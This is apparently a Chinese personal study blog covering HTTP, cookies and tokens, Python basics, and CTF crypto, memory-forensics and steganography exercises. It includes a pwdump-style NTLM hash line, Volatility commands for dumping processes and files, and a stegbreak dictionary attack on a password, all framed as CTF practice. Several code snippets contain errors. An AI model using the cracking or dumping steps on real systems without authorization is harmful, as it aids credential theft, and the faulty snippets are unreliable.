yzklov


  • Home

  • Archives

  • Tags

  • Search

cookies、session、token

Posted on 2023-05-27

无状态的HTTP协议
很久很久之前, Web基本都是文档的浏览而已。既然是浏览, 作为服务器, 不需要记录在某一段时间里都浏览了什么文档, 每次请求都是一个新的HTTP协议,就是请求加响应。不用记录谁刚刚发了HTTP请求, 每次请求都是全新的。

如何管理会话
随着交互式Web应用的兴起, 像在线购物网站,需要登录的网站等,马上面临一个问题,就是要管理回话,记住那些人登录过系统,哪些人往自己的购物车中放商品,也就是说我必须把每个人区分开。

cookie
cookie 是一个非常具体的东西,指的就是浏览器里面能永久存储的一种数据。cookie由服务器生成,发送给浏览器,浏览器把cookie以KV形式存储到某个目录下的文本文件中,下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一些限制确保cookie不会被恶意使用

session
服务器要知道当前请求发给自己的是谁。为了做这种区分,服务器就是要给每个客户端分配不同的”身份标识”,然后客户端每次向服务器发请求的时候,都带上这个”身份标识“,服务器就知道这个请求来自与谁了。

Token

1、用户通过用户名和密码发送请求
2、程序验证
3、程序返回一个签名的token给客户端
4、客户端储存token, 并且每次用每次发送请求
5、服务端验证Token并返回数据

Cookie和Session的区别

1、存储位置不同: ookie数据存放在客户的浏览器上,session数据放在服务器上
2、隐私策略不同:cookie不是很安全, 别人可以分析存放在本地的cookie并进行cookie欺骗,考虑到安全应当使用session
3、session会在一定时间内保存在服务器上。当访问增多,就会比较占用你服务器的性能,考虑到减轻服务器性能方面,应当使用cookie
4、存储大小不同: 单个cookie保存的数据不能超过4k, 很多浏览器都限制一个站点最多保存20个cookie
一般建议: 将登陆信息等重要信息存放为session, 其他信息如果需要保留,可以放在cookie中

Token和Session的区别
Session是一种HTTP储存机制, 为无状态的HTTP提供持久机制;
Token就是令牌, 比如你授权(登录)一个程序时,它就是个依据,判断你是否已经授权该软件;
Session和Token并不矛盾,作为身份认证Token安全性比Session好,因为每一个请求都有签名还能防止监听以及重放攻击,而Session就必须依赖链路层来保障通讯安全了。如上所说,如果你需要实现有状态的回话,仍然可以增加Session来在服务端保存一些状态。

总结
cookie,session,Token没有绝对的好与坏之分,只要还是要结合实际的业务场景和需求来决定采用哪种方式来管理回话,当然也可以三种都用。

http

Posted on 2023-05-24

分层思想
每一个环节都是独立的,但是如果上层的环节没有完成就无法进行下一层的工作,在互联网中通信是需要标准的,而这所谓的标准就是协议,双方规定好的,举个例子:双方都使用英语来交流。这些协议很多,规定了每一个环节,但整个流程比较复杂,所以需要分层,变成功能相对单一的子过程

  • 这样可以使整个流程更加清晰,发杂问题简单化
  • 更容易发现问题并针对性解决问题

网络分层模型

OSI七层模型

同层使用相同协议,每层都填满了协议,下层为上层提供服务,其中两个重要的协议:TCP协议(传输层)、IP(网络层),后来表示层、会话层、应用层统称应用层,新的架构为了纪念这两个重要的协议,命名为TCP/IP五层协议栈

数据的封装和解封装

比如说qq软件(应用层)输入hello,传到传输层,然后

了解HTTP

HTTP(Hypertext Transfer Protocol),超文本传输协议,指的是在计算机世界中专门在两点之间传输超文本数据的规范。

超文本指的是现在计算机可以传输文字、图片、音频、视频,甚至点击文字或图片能够进行超链接的跳转,文本的语义被扩大化,因此被称为超文本。

传输指的是由传输载体负责把二进制数据包由计算机终端传输到另一个终端的过程。通常我们把传输数据包的一方称为请求方,把接到二进制数据包的一方称为应答方。请求方和应答方可以进行互换,请求方也可以作为应答方接受数据,应答方也可以作为请求方请求数据。

网络协议指的是网络中(包括互联网)传递、管理信息的一些规范。ftp、http、ftmp、pop、tcp/ip这些都是网络协议。

网络模型
为了给网络协议设计结构,设计者以分层的方式设计组织网络协议,每个协议属于层次模型之一,且每一层都向其上一层提供服务。每个分层中所有协议被称为协议栈,因特网协议栈分为五个部分:物理层、链路层、网络层、运输层和应用层。

应用层
应用层是网络应用程序和网络协议存放的分层。应用层协议分布在多个端系统上一个端系统应用程序与另外一个端系统应用程序交换信息分组,我们把位于应用层的信息分组称为报文(message)。常用的HTTP协议、FTP协议等等都在这一层中。

常见的应用层协议

1、DNS(域名系统)
DNS 是互联网使用的命名系统,用来把人们使用的机器名字(域名)转换为 IP 地址
2、FTP(文件传输协议)
FTP 是使用得最广泛的文件传送协议
3、Telnet(远程终端协议)
Telnet 是一个简单的远程终端协议,结合端口使用,常用于服务探测
4. HTTP(超文本传送协议)
HTTP 是面向事务的应用层协议,它是互联网能够可靠地交换文件的重要基础。http 使用面向连接的 TCP 作为运输层协议,保证了数据的可靠性。
5、SMTP(电子邮件协议)
SMTP 是简单邮件传送协议。SMTP规定了在两个相互通信的 SMTP 进程之间应如何交换信息。SMTP通信包括三个阶段,分别是:建立连接、邮件传送、连接释放。
6、POP3(邮件读取协议)
POP3,全称是 Post Office Protocol 3,该协议通常被用来接收电子邮件
7. SNMP(简单网络管理协议)
SNMP 协议由三部分组成,包括:SNMP本身、管理信息结构 SMI 和管理信息 MIB。SNMP 定义了管理站和代理之间所交换的分组格式。SMI 定义了命名对象类型的通用规则,以及把对象和对象的值进行编码。MIB 在被管理的实体中创建了命名对象,并规定类型。
8、TFTP(简单文件传送协议)
TFTP是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,它基于UDP协议而实现的,提供不复杂、开销不大的文件传输服务。默认端口号是 69。

除了上面介绍的协议外,其他应用层协议还有 DHCP、Gopher 、IMAP4、IRC、 NNTP、 XMPP、 SIP、 SSH、 RPC、 RTCP、 RTP、RTSP、SDP、 SOAP、 GTP、 STUN、 NTP、SSDP、 BGP 等

HTTP请求

当你在Web浏览器中输入一个URL时,浏览器将根据你的要求创建并发送请求,该请求包含所输入的URL以及一些与浏览器本身相关的信息。当服务器收到这个请求时将返回一个响应,该响应包括与该请求相关的信息以及位于指定URL(如果有的话)的数据。直到浏览器解析该响应并显示出网页(或其他资源)为止。

HTTP请求
格式:

1
2
3
4
<request-line>
<headers>
<blank line>
[<request-body>]

格式说明:

  • 第一行必须是一个请求行(request-line),用来说明请求方法,要访问的资源(URL
    的一部分)以及所使用的HTTP版本
  • 请求头部信息,用来说明服务器要使用的附加信息,key:value
  • 空行(一定要有)
  • 请求主体信息

Get:

1
2
3
4
5
6
7
8
GET / HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: www.google.cn
Connection: Keep-Alive
<空行>

说明:

  • 第一部分说明了该请求是一个GET请求.该行的第二部分是一个斜杠(/),用来说明请求的是该域名的根目录.该行的最后一部分说明使用的是HTTP1.1版本(另一个可选荐是1.0)
  • 请求头部信息:
    1
    2
    3
    - HOST将指出请求的目的地.
    - User-Agent,服务器端和客户端脚本都能访问它,它是浏览器类型检测逻辑的重要基础.该信息由你的浏览器来定义,并且在每个请求中自动发送.
    - Connection,通常将浏览器操作设置为Keep-Alive
  • 第三部分,空行,即使不存在请求主体,这个空行也是必需的

Post

1
2
3
4
5
6
7
8
POST / HTTP1.1
Host:www.wrox.com
User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type:application/x-www-form-urlencoded
Content-Length:40
Connection: Keep-Alive

name=Professional%20Ajax&publisher=Wiley

说明:

  • 请求行开始处的GET改为POST,以表示不同的请求方式
  • Content-Type说明了请求主体的内容是如何编码的.浏览器始终以application/x-www-form-urlencoded的格式编码来传送数据,这是针对简单URL编码的MIME类型
  • Content-Length说明了请求主体的字节数
  • 最后请求主体.名称-值对的形式

HTTP响应

格式:

1
2
3
4
<status-line>
<headers>
<blank line>
[<response-body>]

说明:

  • 状态行:协议版本 状态码 状态文字
  • 消息报头 key:value
  • 空行(一定要有)
  • 响应主体信息

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Sat, 31 Dec 2005 23:59:59 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 122

<html>
<head>
<title>Wrox Homepage</title>
</head>
<body>
<!-- body goes here -->
</body>
</html>

在响应中唯一真正的区别在于第一行中用状态信息代替了请求信息。状态行(status line)通过提供一个状态码来说明所请求的资源情况。最常用的状态码有:
200 OK //客户端请求成功
400 Bad Request //客户端请求有语法错误,不能被服务器所理解
401 Unauthorized //请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
403 Forbidden //服务器收到请求,但是拒绝提供服务
404 Not Found //请求资源不存在,eg:输入了错误的URL
500 Internal Server Error //服务器发生不可预期的错误
503 Server Unavailable //服务器当前不能处理客户端的请求,一段时间后可能恢复正常

URL

http:\host[:port][abs_path][?query]#fragment
协议:告诉浏览器使用何种协议,常用的是http协议或https协议
主机(host):域名或ip,指示需要向网络上哪一台发起请求
端口(port):表示用于访问WEB服务器上资源的入口,如果访问的该 Web 服务器使用HTTP协议的标准端口(HTTP为80,HTTPS为443)授予对其资源的访问权限,则通常省略此部分。
路径(abs_path):web服务器上资源的路径,以端口后第一个/开始,到?结束
查询参数(query):提供给web服务器的额外参数,如果为GET请求一般URL带有查询参数
锚点(fragment):给予浏览器显示位于该点的内容的指示,其片段标识符不会与请求一起发送到服务器

请求头

  • Host:表示对象所在主机,指明了服务器的域名,以及(可选的)服务器监听的TCP端口号。如果没有给定端口号,会自动使用被请求服务的默认端口
  • Connection: 决定当前事务(一次三次握手和四次挥手)完成后,是否会关闭网络连接。若为持久性连接(keep-alive)则事务完成后不关闭网络连接,反之为非持久性连接(close),一次事务完成后关闭网络连接。
  • User-agent: 请求头用来告诉 Web 服务器,浏览器使用的类型
  • Date:表示请求时的格林威治时间
  • Content-Length:实体报头指示实体主体的大小,以字节为单位,发送到接收方。
  • HTTP Referer 属性是请求标头的一部分,当浏览器向 web 服务器发送请求的时候,一般会Referer:告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
  • Upgrade-Insecure-Requests:用来向服务器端发送信号,表示客户端优先选择加密及带有身份验证的响应。
  • Accept:接受请求 HTTP 标头会通告客户端其能够理解的 MIME 类型。
    文本文件: text/html、text/plain、text/css、application/xhtml+xml、application/xml
    图片文件: image/jpeg、image/gif、image/png
    视频文件: video/mpeg、video/quicktime
    应用程序二进制文件: application/octet-stream、application/zip

状态码

2xx:成功响应

  • 200 成功响应
  • 204 请求处理成功,但是没有资源可以返回
  • 206 对资源某一部分进行响应,由Content-Range 指定范围的实体内容。

3xx:需要进行附加操作以完成请求

  • 301 永久性重定向,该状态码表示请求的资源已经重新分配 URI,以后应该使用资源现有的 URI
  • 302 临时性重定向。该状态码表示请求的资源已被分配了新的 URI,希望用户(本次)能使用新的 URI 访问。
  • 303 该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。
  • 304 该状态码表示客户端发送附带条件的请求时,服务器端允许请求访问资源,但未满足条件的情况。
  • 307 临时重定向。该状态码与 302 Found 有着相同的含义。

4xx:客户端发生错误

  • 400 该状态码表示请求报文中存在语法错误。当错误发生时,需修改请求的内容后再次发送请求。
  • 401 该状态码表示发送的请求需要有通过 HTTP 认证(BASIC 认证、DIGEST 认证)的认证信息。
  • 403 该状态码表明对请求资源的访问被服务器拒绝了。
  • 404 该状态码表明服务器上无法找到请求的资源。

5xx:服务器本身发生错误

  • 500 该状态码表明服务器端在执行请求时发生了错误。
  • 503 该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。

常用其他协议介绍

DNS
计算机网络中的每个端系统都有一个IP地址存在,而把IP地址转换为便于人类记忆的协议就是 DNS 协议。DNS 的全称是域名系统,它作为将域名和 IP 地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。

HTTPS
HTTP 一般是明文传输,很容易被攻击者窃取重要信息,鉴于此,HTTPS 应运而生。HTTPS和HTTP有很大的不同在于HTTPS是以安全为目标的HTTP通道,在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性。HTTPS在HTTP的基础上增加了SSL层,也就是说HTTPS = HTTP + SSL。

TCP/IP
互联网进行通信时,需要相应的网络协议,TCP/IP 原本就是为使用互联网而开发制定的协议族。因此,互联网的协议就是 TCP/IP,TCP/IP 就是互联网的协议

网络模型

为了给网络协议设计结构,设计者以分层的方式设计组织网络协议,每个协议属于层次模型之一,且每一层都向其上一层提供服务。每个分层中所有协议被称为协议栈,因特网协议栈分为五个部分:物理层、链路层、网络层、运输层和应用层。

运输层

运输层在应用程序断点之间传送应用程序报文。这一层中主要用到的是TCP协议与UDP协议,我们把运输层的分组称为报文段(segment)。

  • TCP是面向连接的、可靠的流协议。流就是指不间断的数据结构,当应用程序采用TCP发送消息时,虽然可以保证发送的顺序,但还是犹如没有任何间隔的数据流发送给接收端。
  • UDP是不具有可靠性的数据报协议。细微的处理它会交给上层的应用去完成。在UDP的情况下,虽然可以确保发送消息的大小,却不能保证消息一定会到达。

TCP三次握手

而要建立TCP/IP连接,就需要三次握手进行初始化

第一次握手:客户端发送一个TCP标志位SYN=1,ACK=0的数据包给服务端,并随机会产生一个Seq=J.当服务端接收到这个数据后,服务端由SYN=1可知客户端是想要建立连接;
第二次握手:服务端要对客户端的联机请求进行确认,向客户端发送应答号ACK=1、SYN=1、确认号Ack=J+1,此值是客户端的序列号加1,还会产生一个随机的序列号Seq=K,这样就告诉客户端可以进行连接;
第三次握手:客户端收到数据后检查Ack是否为J+1,以及标志位ACK的值是否为1,若为1,则会发送ACK=1、确认号码Ack=K+1,告诉服务端,你的请求连接被确认,连接可以建立,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Server之间可以开始传输数据了。

为了防止已失效的连接请求报文段突然又传送到了服务端,因而产生错误
三次握手是在安全可靠的基础上,握手次数最少的方案。两次握手并不能保证可靠性,四次握手又浪费了效率。当然,有的需要更高安全性的地方,是可以有N次握手协议的,但那是特殊情况。

四次挥手

四次挥手即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发。

第一次挥手:客户端发送一个FIN=M,用来关闭客户端到服务器端的数据传送,客户端进入FIN_WAIT_1状态。意思是说”我客户端没有数据要发给你了”,但是如果你服务器端还有数据没有发送完成,则不必急着关闭连接,可以继续发送数据。
第二次挥手:服务器端收到FIN后,先发送ack=M+1,告诉客户端,你的请求我收到了,但是我还没准备好,请继续你等我的消息。这个时候客户端就进入FIN_WAIT_2 状态,继续等待服务器端的FIN报文。
第三次挥手:当服务器端确定数据已发送完成,则向客户端发送FIN=N报文,告诉客户端,好了,我这边数据发完了,准备好关闭连接了。服务器端进入LAST_ACK状态。
第四次挥手:客户端收到FIN=N报文后,就知道可以关闭连接了,但是他还是不相信网络,怕服务器端不知道要关闭,所以发送ack=N+1后进入TIME_WAIT状态,如果Server端没有收到ACK则可以重传。服务器端收到ACK后,就知道可以断开连接了。客户端等待了2MSL后依然没有收到回复,则证明服务器端已正常关闭,这时客户端也关闭连接。最终完成了四次握手。

SSL

普通的TCP通信无法保证数据的安全,它随时可能被第三方截获而泄漏通信双方之间的隐私,这显然是我们不希望看到的,尤其在跟用户名、密码、个人信息息息相关的通信过程(如网上银行交易、机密文件传输等等)尤其看重数据交互的隐秘性,所以我们常常用SSL协议来建立安全保密的通信,SSL协议能够保证交互双方的数据按密文方式传输,第三方在没有私钥的情况下几乎无法破解,从而到达保密的目的
SSL交互(握手)过程详解

Crypto

Posted on 2023-05-12
  • ROT13编码
    ROT13(有时中间加了个连字符称作ROT-13) 是一种简易的替换式密码,凯撒加密的一种变体
  • 摩斯密码
    摩斯电码定义了包括:英文字母A-Z(大写)十进制数字0-9,以及简单的标点符号? / )- .
  • quoted-printable编码用于将非 ASCII 字符转换为 ASCII 字符,以便在电子邮件等文本传输中使用。
    1
    =E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6
  • Rabbit 开头部分通常为U2FsdGVkX1
    1
    U2FsdGVkX1/+ydnDPowGbjjJXhZxm2MP2AgI
  • 栅栏密码:所谓栅栏密码,就是把明文分成N个组,然后取出每组的第一个,每组的第二个。。接着按顺序排列得出密文
    题目:
    1
    2
    一只小羊跳过了栅栏,两只小样跳过了栅栏,一坨小羊跳过了栅栏…
    tn c0afsiwal kes,hwit1r g,npt ttessfu}ua u hmqik e {m, n huiouosarwCniibecesnren
    思路:
    1
    由于题中提到了栅栏,于是猜这段字符串使用了栅栏密码,去掉空格后一数发现字符串长度为71,因为71是一个素数,所以无法对其进行各很好的分组,所以猜测空格可能是计数的,再看字符串中有些字母中间空格不止一个,就更加肯定空格是计数的了,于是加上空格,字符串长度为85,而85的因子有5和17,于是乎我们就可以按5个一组或17个一组去试

buuctf 变异凯撒

1
2
3
4
5
6
7
str1 = "afZ_r9VYfScOeO_UL^RWUc"
str2 = list(str1)
str3 = ''
num = len(str2)
for i in range(0, num):
str3 = str3 + chr(ord(str2[i]) + 5 + i)
print(str3)

同余的一些性质

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d作为flga提交

gmpy2.invert(a, n)
找出一个数b,使a * b 除以 n 的余数等于 1
101999966233
flag{d450209323a847c8d01c6be47c81811a}
在线素数分解因数
wget https://www.mpfr.org/mpfr-current/mpfr-4.2.1.tar.xz
tar -jxvf mpfr-4.2.1.tar.bz2 && cd mpfr-4.2.1

大帝的密码武器

1
2
3
公元前一百年,在罗马出生了一位对世界影响巨大的人物,他生前是罗马三巨头之一。他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。
以下密文被解开后可以获得一个有意义的单词:FRPHEVGL
你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交

猜出是凯撒密码,26种情况都尝试一下,发现在13位时是security,有意义的单词,所以猜测这是正确的偏移量,将给出的密文按13位解密就行

ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
用户名(Username): 这是用户的登录名。
用户ID(User ID): 这是用户在系统中的唯一标识符。
散列密码(Hashed Password): 这是用户密码的散列值,而不是明文密码。散列密码通常用于安全存储用户密码,以防止明文密码泄漏。
附加信息(Additional Information): 这个字段可能包含用户的其他信息,但在提供的示例中为空。
散列密码都是经过处理的,无法直接从中获取原始密码。这是因为Windows通常会将密码进行哈希处理,以增强安全性。哈希是一种单向函数,它将输入转换为固定长度的字符串,使得很难从哈希值还原出原始输入。这有助于保护用户密码免受未经授权的访问
用户名:ctf 用户ID:1002 散列密码:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062

鲲鹏杯

Posted on 2023-04-28

FORENSICS

signin_for_forensics

解法一:

  • vol.py -f signin.vmem imageinfo

    要验证哪一个系统正确,可以使用命令:
  • vol.py -f signin.vmem –profile=Win7SP1x64 volshell
    下图这样说明成功

    接下来寻找flag所在的文件
    可以使用fl来匹配也可以.txt
  • vol.py -f signin.vmem –profile=Win7SP1x64 filescan | grep fl

    dump fllllag.txt文件
  • vol.py -f signin.vmem –profile=Win7SP1x64 dumpfiles -Q 0x000000007e6eac00 -D ./
    得到一个.dat数据文件
    用010editor打开

解法二:

  • vol.py -f signin.vmem imageinfo
  • vol.py -f signin.vmem –profile=Win7SP1x64 clipboard

ezvmem-1

  • vol.py -f challenge.vmem –profile=Win7SP1x64 psxview
    使用各种进程列表查找隐藏进程

    因为描述说明了恶意进程是隐藏起来的,因此定位 pslist 为 false 的文件,整个列表就这么一个文件,因此提交该文件的 offset 即可

ezvmem-2

  • vol.py -f challenge.vmem –profile=Win7SP1x64 procdump –offset=0x000000007d336950 -D ./
    procdump:将进程转储到可执行文件示例中
    然后把这个文件放到沙箱中跑一下就可以知道木马类型了

ezvmem-3

python

Posted on 2023-04-25

写在前面:python程序运行过程中要读取文件内容是读取所在工作目录文件夹下的文件,所以必须先打开该文件夹才能读取,否则会有类似这样的报错:
FileNotFoundError: [Errno 2] No such file or directory: 'base64.txt'
在vscode上添加python运行环境理论上只要先下载某个版本的python再安装个python插件就行了

  • pycharm运行python程序的时候是在相应的文件目录下运行的,而vscode是在相应的工程目录下运行的
  • type() 显示类型信息
  • python中变量没有类型,它储存的数据有类型

数据类型转换

1
2
int(x) 将x转换为一个整数 
float() str()同理

ps:别的数据类型转字符串只要加上单引号或双引号,所以基本都能实现,但比如字符串转数字就要求字符串内容都是数字

字符串

定义

  • 可以使用单、双、三引号
  • 引号的嵌套可以使用\转义,也可以在单引号内写双引号或在双引号内写单引号

拼接

1、字符串和字符串直接使用+
2、字符串和变量

1
2
3
4
5
字符串格式化1
语法:'%占位符'%变量
字符串:%s 整数:%d 浮点数:%f
字符串格式化2
语法: f"内容{变量或表达式}"
  • 数字精度控制
    使用辅助符号”m.n”来控制数据的宽度和精度
  • m:控制宽度,宽度小于数字本身不生效,小数点和小数部分也算入宽度计算
  • n:控制小数点精度,会进行小数的四舍五入

input

input():获取键盘输入的数据
ps:获取的数据都是字符串类型

if

1
2
3
4
5
6
7
8
if 要判断的条件:
条件成立时,要做的事情
elif 条件:
...
elif 条件:
...
else:
...

for循环

1
2
3
4
for 临时变量 in 待处理数据集:
循环满足条件时执行的代码
for 临时变量 in 待处理数据集:
循环满足条件时执行的代码
  • 循环内的语句需要有空格缩进
  • 严格来说,待处理数据集是序列类型
  • 序列类型:字符串、列表、元组
    1
    2
    3
    4
    5
    # for循环输出九九乘法表
    for i in range(1, 10):
    for j in range(1, i + 1):
    print(f"{j}*{i}={j*i}\t", end='')
    print()

range语句

1
2
3
4
5
6
语法一:range(num)
获取一个从0开始,到num结束的数字序列(不含num本身)
语法二:range(num1,num2)
从num1到num2(不含num2本身)
语法三:range(num1,num2,step)
在语法二的基础上添加了数字之间的步长,以step为准,默认为1

while

1
2
3
4
5
6
while 条件:
...
...
...
while 条件:
...
  • 条件需提供布尔类型的结果,true继续,false停止
  • while循环可以嵌套
    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 输出九九乘法表
    i=1
    while i<=9:
    j=1
    while j<=i:
    print(f"{j}*{i}={j*i}\t",end='')
    j+=1
    i+=1
    print() # 换行
  • continue:中断本次循环,直接进入下一次循环
  • break:直接结束循环
    ps:内层循环的continue和break不影响外层

函数

函数的定义

1
2
3
def 函数名(传入参数):
函数体
return 返回值
  • 特殊字面量:None
    不使用return语句即返回None
  • 使用场景:函数返回值、if判断、变量定义(不想给他赋值)

给python改了个阿里源,pip下载的速度快多了

变量在函数中的作用域

1
2
3
4
5
6
7
8
num=100
def testb()
num=500
print(num)
testb()
print(f'全局变量num={num}')
# 500
全局变量num=100

testb中的num仍然是局部变量
加上global关键字

1
2
3
4
5
6
7
8
9
num=100
def testb()
global num # 声明num是全局变量
num=500
print(num)
testb()
print(f'全局变量num={num}')
# 500
全局变量num=500

python数据容器

1、什么是数据容器
一种可以存储多个元素的python数据类型
2、python有那些哪些数据类型
list列表、tuple元组、str字符串、set集合、dict字典

list(列表)

定义格式

1
2
3
4
5
# 定义变量
变量名称 = [元素1,...] # 逗号隔开
# 定义空列表
变量名称 = []
变量名称 = list()
  • 元素可以是不同类型的数据,支持嵌套

Python encode方法

1
2
3
4
gm:str.encode([encoding='utf-8'],[errors='strict'])
encoding – 可选参数,要使用的编码,默认编码为 ‘utf-8’
errors – 可选参数,设置不同错误的处理方案。默认为 ‘strict’,意为编码错误引起一个UnicodeError。 其他可能得值有 ‘ignore’, ‘replace’, ‘xmlcharrefreplace’, ‘backslashreplace’ 以及通过 codecs.register_error() 注册的任何值
在使用encode()方法时,报错原因一般都是errors参数问题,改为‘ignore’就好了

bytes通过decode()转换为str(字符串)
str通过encode()转换为bytes(二进制)

1
2
3
4
5
6
7
8
s='菜鸟教程'
s_utf8 = s.encode("UTF-8")
s_gbk = s.encode("GBK")
print(s)
print("UTF-8编码:",s_utf-8)
print("GBK编码:",s_gbk)
print("UTF-8解码:",s_utf-8.decode("UTF-8","strict"))
print("GBK解码:",s_gbk.decode("GBK","strict"))
1
2
3
4
5
菜鸟教程
UTF-8编码: b'\xe8\x8f\x9c\xe9\xb8\x9f\xe6\x95\x99\xe7\xa8\x8b'
GBK编码: b'\xb2\xcb\xc4\xf1\xbd\xcc\xb3\xcc'
UTF-8解码: 菜鸟教程
GBK解码: 菜鸟教程

文件操作

f=open(“文件路径”,”r/w/a”,encoding=”UTF-8”) //f是文件对象名称
//w模式,输入的内容会覆盖原来文件的内容,a是在文件后追加内容,如果文件不存在就会创建文件
f.read(num):读取指定长度字节,不指定num就读取全部
f.readlines():读取文件的全部行,封装到列表中
f.readline():读取一行
for line in f: for循环文件行,一次循环得到一行数据,每一行返回成一个字符串,并且在末尾会有一个换行符
读取文件有个指针,所以如果前面读取到第一个数,下面的读取就会从第二个数开始读取
f.write(content):往文件中写入内容
f.close():文件关闭
with open(“文件路径”,”r/w/a”,encoding=”UTF-8”) as f:通过with open语法打开文件,可以自动关闭文件 //f是文件对象名称

1
2
3
4
5
6
7
8
9
10
f = open("E:/test.txt", "r", encoding="UTF-8")
count = 0
for line in f:
line = line.strip()
words = line.split(" ")
for word in words:
if word == "ttt":
count += 1
print(count)
f.close()

先打开以只读的方式打开文件,计数器置零,用for循环,循环得到每一行的数据,用字符串的strip方法首尾去空,避免/n对匹配字符串的影响,然后用split方法将字符串以空格为分界,变成列表的形式,再用一个for循环将列表内的每个元素和”ttt”比较,如果相同,则计数器加1

异常

就是程序的bug,捕获异常是为了在程序出现异常之前做好准备,当出现异常的时候有处理的手段,这样就不会直接导致程序的崩溃
基本捕获语法

1
2
3
4
5
6
7
8
try:
可能发生错误的代码
except:
如果出现异常执行的代码
else: //可选
print("没有出现异常")
finally: //可选
f.close()

如果try出现了异常就执行except的代码,也可以在没有出现异常的时候执行else代码,finally是最后必须要执行的代码,不管有没有异常。
捕获指定异常

1
2
3
4
5
try:
print(name)
except NameError as e:
print("出现了变量未定义的异常")
print(e) //e是看作该变量未定义异常的别名,记录了异常的具体信息

如果要捕获多个异常就可以用元组将上面的NameError进行替换,如果捕获全部异常就写except Exception as e:

  • 异常的传递。。。

python的模块

定义
python模块是一个python文件,以.py结尾,模块能定义函数,类和变量,模块里也能包含可执行的代码

作用
python中有很多各种不同的模块,每一个模块都可以帮助我们快速实现一些功能,比如实现时间相关的功能就可以使用time模块,模块可以被认为是一个工具包。

eg:

1
2
3
4
5
6
7
8
import time [as tt]//模块名,可以改成别名tt,后面就写tt.sleep
time.sleep(6) //模块名.功能名()

from time import *
sleep(6)

from time import sleep [as sl]//导入time中的sleep功能,别名可代替sleep
sleep(6)

按下ctrl然后鼠标左键点击模块名就可以查看.py文件的源代码

自定义python模块
新建一个python文件,命名并定义函数,模块名称就是文件名字,其他文件直接调用就行了

1
2
3
4
5
6
def test(x, y):
return x+y


if __name__ == '__main__':
test(1,2)

在if这个语句中的代码不会在导入模块的时候执行,所以既可以满足测试模块中函数的可行性又可以避免在导入模块的时候执行了代码

1
2
3
4
5
__all__ = ['test'] //列表
def test(x, y):
return x+y
def test1(x, y):
return x-y

如果在导入的时候如果是from my_module import *,则只能使用test

python包

python包是一个文件夹,可以存放很多模块,由各个模块和__init__.py组成,__init__.py用来标识这个文件夹是一个python包,导入包中的模块:import 包名.模块名,下面的使用就是包名.模块名.目标

  • 第三方包(非python官方),安装后就可以使用,pip install 包名就可以安装了,默认安装是连接国外的网站的,可以通过pip install -i 网址 包名 指定网址安装

misc-图片隐写

Posted on 2023-04-24

基于DCT域的JPG图片隐写

关于JPG图像的压缩

  • JPEG图像格式使用离散余弦变换(Discrete Cosine Transform,DCT)函数来压缩图像,而这个图像压缩方法的核心是:通过识别每个8×8像素块中相邻像素中的重复像素来减少显示图像所需的位数,并使用近似估算法降低其冗余度

因此,我们可以把DCT看作一个用于执行压缩的近似计算方法。因为丢失了部分数据,所以DCT是一种有损压缩(Loss Compression)技术,但一般不会影响图像的视觉效果。

  • 常见的隐写方法有JSteg、JPHide、Outguess、F5等等

Stegdetect

  • 它可以检测到通过JSteg、JPHide、OutGuess、Invisible Secrets、F5、appendX和Camouflage等这些隐写工具隐藏的信息
  • 具有基于字典暴力破解密码方法提取通过Jphide、outguess和jsteg-shell方式嵌入的隐藏信息

JPHS

软件里面主要包含了两个程序JPHIDE和JPSEEK

  • JPHIDE程序主要是实现将信息文件加密隐藏到JPEG图像功能
  • JPSEEK程序主要实现从用JPHIDE程序加密隐藏得到的JPEG图像探测提取信息文件

介绍了相关概念和两个工具,我们来看个例题

打开是

由于是jpg格式,我们先用Stegdetect查看一下是否存在JPG图片隐写
输入stegdetect.exe -tjopi -s 10.0 level4.jpg

存在JPHide隐写
在JPHS打开level4.jpg
点击seek

发现要密码
回到stegdetect,爆破密码
stegbreak.exe -r rules.ini -f password.txt level4.jpg

将爆出的密码输入后随便输入一个文件名即可得到隐写内容

这是一道套娃题,这里只是其中用到jpg隐写的部分
因为outguess隐写要用到虚拟机,所以启动了kali,结果发现网络不连通
ping baidu.com
发现ping不通
看了好几篇文章,终于解决了
先是发现启用联网没开,然后还是不行

后来看了这篇文章:https://blog.csdn.net/nanke_4869/article/details/123662430
还原了默认设置才解决

outguess

对于outguess方式嵌入隐藏信息的,直接在虚拟机使用outguess
具体命令:outguess (-k key) -r 图片名称 -t 保存的文件名称
比如这题
首先在图片所在的文件夹下打开终端
输入:outguess -r outguess.jpg -t 11.txt

打开11.txt,发现是乱码,在windows打开也一样

这里就需要在图片属性中找到key

修改指令为
outguess -k gUNrbbdR9XhRBDGpzz -r outguess.jpg -t 11.txt

F5-steganography

  • 指令:java Extract Misc.jpg(图片名称) [-p password]可选项
  • 自动会在当前文件夹下生成output.txt文件
    这里需要知道所有的zip文件,都是以PK这两个字母开头的,可以使用记事本查看

